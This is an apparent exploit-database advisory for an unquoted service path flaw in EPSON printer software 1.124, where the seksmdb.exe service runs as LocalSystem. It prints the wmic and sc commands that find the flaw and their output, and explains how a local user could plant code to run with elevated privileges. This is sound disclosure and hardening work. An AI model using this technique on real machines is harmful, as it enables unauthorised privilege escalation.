Exploit – EPSON 1.124 – ‘seksmdb.exe’ Unquoted Service Path
# Exploit Title: EPSON 1.124 - 'seksmdb.exe' Unquoted Service Path # Discovery by: İsmail Önder Kaya # Discovery Date: 2020-10-27 # Vendor Homepage: https://www.epson.co.uk/support?productID=10820&os=22#drivers_and_manuals # Tested Version: 1.124 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "EPSON_P2B" | findstr /i /v """ SEcnStatutsDatabase SENADB C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\seksmdb.exe Auto # Service info: C:\>sc qc SENADB [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SENADB TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\seksmdb.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : SEcnStatutsDatabase DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. |